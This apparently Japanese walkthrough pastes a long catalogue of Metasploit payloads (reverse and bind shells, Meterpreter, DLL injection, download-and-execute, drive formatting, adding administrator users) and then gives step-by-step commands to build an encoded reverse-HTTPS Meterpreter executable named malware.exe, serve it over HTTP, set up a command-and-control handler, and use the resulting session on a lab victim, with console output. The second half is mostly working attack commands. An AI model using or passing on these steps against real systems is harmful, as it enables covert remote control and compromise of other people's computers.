php/reverse_php Reverse PHP connect back shell with checks for disabled functions
php/shell_findsock Spawn a shell on the established connection to the webserver. Unfortunately, this payload can leave conspicuous evil-looking entries in the apache error logs, so it is probably a good idea to use a bind or reverse shell unless firewalls prevent them from working. The issue this payload takes advantage of (CLOEXEC flag not set on sockets) appears to have been patched on the Ubuntu version of Apache and may not work on other Debian-based distributions. Only tested on Apache but it might work on other web servers that leak file descriptors to child processes.
python/meterpreter/bind_tcp Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection
python/meterpreter/bind_tcp_uuid Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection with UUID Support
python/meterpreter/reverse_http Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP
python/meterpreter/reverse_https Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP using SSL
python/meterpreter/reverse_tcp Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker
python/meterpreter/reverse_tcp_ssl Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Reverse Python connect back stager using SSL
python/meterpreter/reverse_tcp_uuid Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker with UUID Support
python/meterpreter_bind_tcp Connect to the victim and spawn a Meterpreter shell
python/meterpreter_reverse_http Connect back to the attacker and spawn a Meterpreter shell
python/meterpreter_reverse_https Connect back to the attacker and spawn a Meterpreter shell
python/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
python/shell_bind_tcp Creates an interactive shell via python, encodes with base64 by design
python/shell_reverse_tcp Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3
python/shell_reverse_tcp_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
python/shell_reverse_udp Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3
r/shell_bind_tcp Continually listen for a connection and spawn a command shell via R
r/shell_reverse_tcp Connect back and create a command shell via R
ruby/shell_bind_tcp Continually listen for a connection and spawn a command shell via Ruby
ruby/shell_bind_tcp_ipv6 Continually listen for a connection and spawn a command shell via Ruby
ruby/shell_reverse_tcp Connect back and create a command shell via Ruby
ruby/shell_reverse_tcp_ssl Connect back and create a command shell via Ruby, uses SSL
solaris/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
solaris/sparc/shell_find_port Spawn a shell on an established connection
solaris/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell
solaris/x86/shell_bind_tcp Listen for a connection and spawn a command shell
solaris/x86/shell_find_port Spawn a shell on an established connection
solaris/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
tty/unix/interact Interacts with a TTY on an established socket connection
windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
windows/dllinject/bind_hidden_ipknock_tcp Inject a DLL via a reflective loader. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for an IPv6 connection (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a reflective loader. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/dllinject/bind_named_pipe Inject a DLL via a reflective loader. Listen for a pipe connection (Windows x86)
windows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection (No NX)
windows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection (Windows x86)
windows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection
windows/dllinject/bind_tcp_uuid Inject a DLL via a reflective loader. Listen for a connection with UUID Support (Windows x86)
windows/dllinject/find_tag Inject a DLL via a reflective loader. Use an established connection
windows/dllinject/reverse_hop_http Inject a DLL via a reflective loader. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.
windows/dllinject/reverse_http Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows wininet)
windows/dllinject/reverse_http_proxy_pstore Inject a DLL via a reflective loader. Tunnel communication over HTTP
windows/dllinject/reverse_ipv6_tcp Inject a DLL via a reflective loader. Connect back to the attacker over IPv6
windows/dllinject/reverse_nonx_tcp Inject a DLL via a reflective loader. Connect back to the attacker (No NX)
windows/dllinject/reverse_ord_tcp Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_allports Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/dllinject/reverse_tcp_dns Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4 Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_uuid Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support
windows/dllinject/reverse_udp Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support
windows/dllinject/reverse_winhttp Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows winhttp)
windows/dns_txt_query_exec Performs a TXT query against a series of DNS record(s) and executes the returned payload
windows/download_exec Download an EXE from an HTTP(S)/FTP URL and execute it
windows/exec Execute an arbitrary command
windows/format_all_drives This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). After formatting, this payload sets the volume label to the string specified in the VOLUMELABEL option. If the code is unable to access a drive for any reason, it skips the drive and proceeds to the next volume.
windows/loadlibrary Load an arbitrary library path
windows/messagebox Spawns a dialog via MessageBox using a customizable title, text & icon
windows/meterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/meterpreter/bind_hidden_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for an IPv6 connection (Windows x86)
windows/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/meterpreter/bind_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a pipe connection (Windows x86)
windows/meterpreter/bind_nonx_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection (No NX)
windows/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection (Windows x86)
windows/meterpreter/bind_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection
windows/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection with UUID Support (Windows x86)
windows/meterpreter/find_tag Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Use an established connection
windows/meterpreter/reverse_hop_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.
windows/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP (Windows wininet)
windows/meterpreter/reverse_http_proxy_pstore Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP
windows/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTPS (Windows wininet)
windows/meterpreter/reverse_https_proxy Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP using SSL with custom proxy support
windows/meterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker over IPv6
windows/meterpreter/reverse_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker via a named pipe pivot
windows/meterpreter/reverse_nonx_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker (No NX)
windows/meterpreter/reverse_ord_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker
windows/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker
windows/meterpreter/reverse_tcp_allports Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/meterpreter/reverse_tcp_dns Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker
windows/meterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker
windows/meterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker
windows/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker with UUID Support
windows/meterpreter/reverse_udp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker with UUID Support
windows/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP (Windows winhttp)
windows/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTPS (Windows winhttp)
windows/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell
windows/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell
windows/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
windows/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
windows/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell
windows/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell
windows/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
windows/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
windows/patchupdllinject/bind_hidden_ipknock_tcp Inject a custom DLL into the exploited process. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/patchupdllinject/bind_hidden_tcp Inject a custom DLL into the exploited process. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/patchupdllinject/bind_ipv6_tcp Inject a custom DLL into the exploited process. Listen for an IPv6 connection (Windows x86)
windows/patchupdllinject/bind_ipv6_tcp_uuid Inject a custom DLL into the exploited process. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/patchupdllinject/bind_named_pipe Inject a custom DLL into the exploited process. Listen for a pipe connection (Windows x86)
windows/patchupdllinject/bind_nonx_tcp Inject a custom DLL into the exploited process. Listen for a connection (No NX)
windows/patchupdllinject/bind_tcp Inject a custom DLL into the exploited process. Listen for a connection (Windows x86)
windows/patchupdllinject/bind_tcp_rc4 Inject a custom DLL into the exploited process. Listen for a connection
windows/patchupdllinject/bind_tcp_uuid Inject a custom DLL into the exploited process. Listen for a connection with UUID Support (Windows x86)
windows/patchupdllinject/find_tag Inject a custom DLL into the exploited process. Use an established connection
windows/patchupdllinject/reverse_ipv6_tcp Inject a custom DLL into the exploited process. Connect back to the attacker over IPv6
windows/patchupdllinject/reverse_nonx_tcp Inject a custom DLL into the exploited process. Connect back to the attacker (No NX)
windows/patchupdllinject/reverse_ord_tcp Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_allports Inject a custom DLL into the exploited process. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/patchupdllinject/reverse_tcp_dns Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_rc4 Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_rc4_dns Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_uuid Inject a custom DLL into the exploited process. Connect back to the attacker with UUID Support
windows/patchupdllinject/reverse_udp Inject a custom DLL into the exploited process. Connect back to the attacker with UUID Support
windows/patchupmeterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/patchupmeterpreter/bind_hidden_tcp Inject the meterpreter server DLL (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/patchupmeterpreter/bind_ipv6_tcp Inject the meterpreter server DLL (staged). Listen for an IPv6 connection (Windows x86)
windows/patchupmeterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/patchupmeterpreter/bind_named_pipe Inject the meterpreter server DLL (staged). Listen for a pipe connection (Windows x86)
windows/patchupmeterpreter/bind_nonx_tcp Inject the meterpreter server DLL (staged). Listen for a connection (No NX)
windows/patchupmeterpreter/bind_tcp Inject the meterpreter server DLL (staged). Listen for a connection (Windows x86)
windows/patchupmeterpreter/bind_tcp_rc4 Inject the meterpreter server DLL (staged). Listen for a connection
windows/patchupmeterpreter/bind_tcp_uuid Inject the meterpreter server DLL (staged). Listen for a connection with UUID Support (Windows x86)
windows/patchupmeterpreter/find_tag Inject the meterpreter server DLL (staged). Use an established connection
windows/patchupmeterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker over IPv6
windows/patchupmeterpreter/reverse_nonx_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker (No NX)
windows/patchupmeterpreter/reverse_ord_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_allports Inject the meterpreter server DLL (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/patchupmeterpreter/reverse_tcp_dns Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_uuid Inject the meterpreter server DLL (staged). Connect back to the attacker with UUID Support
windows/patchupmeterpreter/reverse_udp Inject the meterpreter server DLL (staged). Connect back to the attacker with UUID Support
windows/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session
windows/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session
windows/shell/bind_hidden_ipknock_tcp Spawn a piped command shell (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/shell/bind_hidden_tcp Spawn a piped command shell (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/shell/bind_ipv6_tcp Spawn a piped command shell (staged). Listen for an IPv6 connection (Windows x86)
windows/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/shell/bind_named_pipe Spawn a piped command shell (staged). Listen for a pipe connection (Windows x86)
windows/shell/bind_nonx_tcp Spawn a piped command shell (staged). Listen for a connection (No NX)
windows/shell/bind_tcp Spawn a piped command shell (staged). Listen for a connection (Windows x86)
windows/shell/bind_tcp_rc4 Spawn a piped command shell (staged). Listen for a connection
windows/shell/bind_tcp_uuid Spawn a piped command shell (staged). Listen for a connection with UUID Support (Windows x86)
windows/shell/find_tag Spawn a piped command shell (staged). Use an established connection
windows/shell/reverse_ipv6_tcp Spawn a piped command shell (staged). Connect back to the attacker over IPv6
windows/shell/reverse_nonx_tcp Spawn a piped command shell (staged). Connect back to the attacker (No NX)
windows/shell/reverse_ord_tcp Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_allports Spawn a piped command shell (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/shell/reverse_tcp_dns Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_rc4 Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_rc4_dns Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_uuid Spawn a piped command shell (staged). Connect back to the attacker with UUID Support
windows/shell/reverse_udp Spawn a piped command shell (staged). Connect back to the attacker with UUID Support
windows/shell_bind_tcp Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a command shell
windows/shell_hidden_bind_tcp Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not coming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.
windows/shell_reverse_tcp Connect back to attacker and spawn a command shell
windows/speak_pwned Causes the target to say "You Got Pwned" via the Windows Speech API
windows/upexec/bind_hidden_ipknock_tcp Uploads an executable and runs it (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/upexec/bind_hidden_tcp Uploads an executable and runs it (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/upexec/bind_ipv6_tcp Uploads an executable and runs it (staged). Listen for an IPv6 connection (Windows x86)
windows/upexec/bind_ipv6_tcp_uuid Uploads an executable and runs it (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/upexec/bind_named_pipe Uploads an executable and runs it (staged). Listen for a pipe connection (Windows x86)
windows/upexec/bind_nonx_tcp Uploads an executable and runs it (staged). Listen for a connection (No NX)
windows/upexec/bind_tcp Uploads an executable and runs it (staged). Listen for a connection (Windows x86)
windows/upexec/bind_tcp_rc4 Uploads an executable and runs it (staged). Listen for a connection
windows/upexec/bind_tcp_uuid Uploads an executable and runs it (staged). Listen for a connection with UUID Support (Windows x86)
windows/upexec/find_tag Uploads an executable and runs it (staged). Use an established connection
windows/upexec/reverse_ipv6_tcp Uploads an executable and runs it (staged). Connect back to the attacker over IPv6
windows/upexec/reverse_nonx_tcp Uploads an executable and runs it (staged). Connect back to the attacker (No NX)
windows/upexec/reverse_ord_tcp Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_allports Uploads an executable and runs it (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/upexec/reverse_tcp_dns Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_rc4 Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_rc4_dns Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_uuid Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support
windows/upexec/reverse_udp Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support
windows/vncinject/bind_hidden_ipknock_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/vncinject/bind_hidden_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection (Windows x86)
windows/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (staged). Listen for a pipe connection (Windows x86)
windows/vncinject/bind_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (No NX)
windows/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (Windows x86)
windows/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Listen for a connection
windows/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for a connection with UUID Support (Windows x86)
windows/vncinject/find_tag Inject a VNC Dll via a reflective loader (staged). Use an established connection
windows/vncinject/reverse_hop_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.
windows/vncinject/reverse_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows wininet)
windows/vncinject/reverse_http_proxy_pstore Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP
windows/vncinject/reverse_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker over IPv6
windows/vncinject/reverse_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker (No NX)
windows/vncinject/reverse_ord_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_allports Inject a VNC Dll via a reflective loader (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/vncinject/reverse_tcp_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_rc4_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker with UUID Support
windows/vncinject/reverse_udp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker with UUID Support
windows/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows winhttp)
windows/x64/exec Execute an arbitrary command (Windows x64)
windows/x64/loadlibrary Load an arbitrary x64 library path
windows/x64/messagebox Spawn a dialog via MessageBox using a customizable title, text & icon
windows/x64/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for an IPv6 connection (Windows x64)
windows/x64/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/meterpreter/bind_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a pipe connection (Windows x64)
windows/x64/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a connection (Windows x64)
windows/x64/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a connection with UUID Support (Windows x64)
windows/x64/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/meterpreter/reverse_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker via a named pipe pivot
windows/x64/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker (Windows x64)
windows/x64/meterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker
windows/x64/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTPS (Windows x64 winhttp)
windows/x64/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell
windows/x64/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell
windows/x64/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
windows/x64/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
windows/x64/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell
windows/x64/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell
windows/x64/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session
windows/x64/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session
windows/x64/shell/bind_ipv6_tcp Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/shell/bind_named_pipe Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/shell/bind_tcp Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/shell/bind_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/shell/reverse_tcp Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/shell/reverse_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/reverse_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)
windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/vncinject/reverse_http Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_https Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker
windows/x64/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/vncinject/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)
msfvenomを用いたマルウェアの作成
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.164.146 LPORT=443 -f exe -e x86/shikata_ga_nai -o malware.exe
root@kali:~# python -m SimpleHTTPServer 8080
C2サーバーの構築
root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST 192.168.164.146
LHOST => 192.168.164.146
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.164.146 yes The local listener hostname
LPORT 443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://192.168.164.146:443
遠隔操作
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.164.146:443
[*] Sending stage (179779 bytes) to 192.168.164.145
[*] Meterpreter session 1 opened (192.168.164.146:443 -> 192.168.164.145:49204) at 2018-12-31 23:40:35 +0900
meterpreter >
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
